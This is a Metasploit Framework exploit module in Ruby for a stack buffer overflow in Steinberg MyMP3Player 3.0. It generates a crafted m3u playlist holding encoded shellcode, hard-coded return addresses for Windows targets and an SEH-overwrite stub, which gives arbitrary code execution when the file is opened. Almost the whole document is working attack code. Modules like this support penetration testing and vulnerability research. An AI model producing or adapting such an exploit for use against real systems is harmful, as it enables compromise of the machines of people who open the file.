Steinberg MyMP3Player 3.0 Buffer Overflow

`##  
# $Id: mymp3player_m3u.rb 8975 2010-04-01 17:10:07Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Steinberg MyMP3Player 3.0 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When  
the application is used to open a specially crafted m3u file, a buffer overflow occurs  
allowing arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'n3w7u', # original  
'm_101'  
],  
'Version' => '$Revision: 8975 $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/11791' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 900,  
'BadChars' => "\x00\x0a\x0d\x5c",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Ret' => 0x0043bea3 } ], # call ecx in My MP3.exe v3.0.0.67  
[ 'Windows Universal (SEH)', { 'Ret' => 0x00403e68 } ], # p/p/r in My MP3.exe v3.0.0.67  
[ 'Windows XP SP3 French', { 'Ret' => 0x72c6170b } ], # seh return in msacm.drv  
],  
'Privileged' => false,  
'DisclosureDate' => 'March 18 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),  
], self.class)  
  
end  
  
def exploit  
  
# direct ret overwrite at offset 1024  
# nseh overwrite at offset 1040  
ret_offset = 1024  
seh_offset = 1040  
  
# start with the payload  
m3u = payload.encoded  
  
if (target.name =~ /SEH/)  
m3u << rand_text_alphanumeric(seh_offset - m3u.length)  
# ensure bad,no-nul addr for ret (trigger SEH)  
m3u[ret_offset,4] = [0xc0010101 | rand(0xffffffff)].pack('V')  
  
# We utilize a small stub near the end of the buffer space to  
# continue to the real shellcode...  
# NOTE: the push is to avoid a badchar (0x5c)  
stub = %Q|  
push ecx  
sub esp,-0x1a8  
ret  
|  
stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string  
m3u[seh_offset - stub.length, stub.length] = stub  
  
# Jump back to the stub  
jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string  
seh = ''  
seh << jmp2  
seh << rand_text(2)  
seh << [target.ret].pack('V')  
m3u << seh  
else  
m3u << rand_text_alphanumeric(1024 - m3u.length)  
m3u << [target.ret].pack('V')  
end  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(m3u)  
  
end  
  
end  
`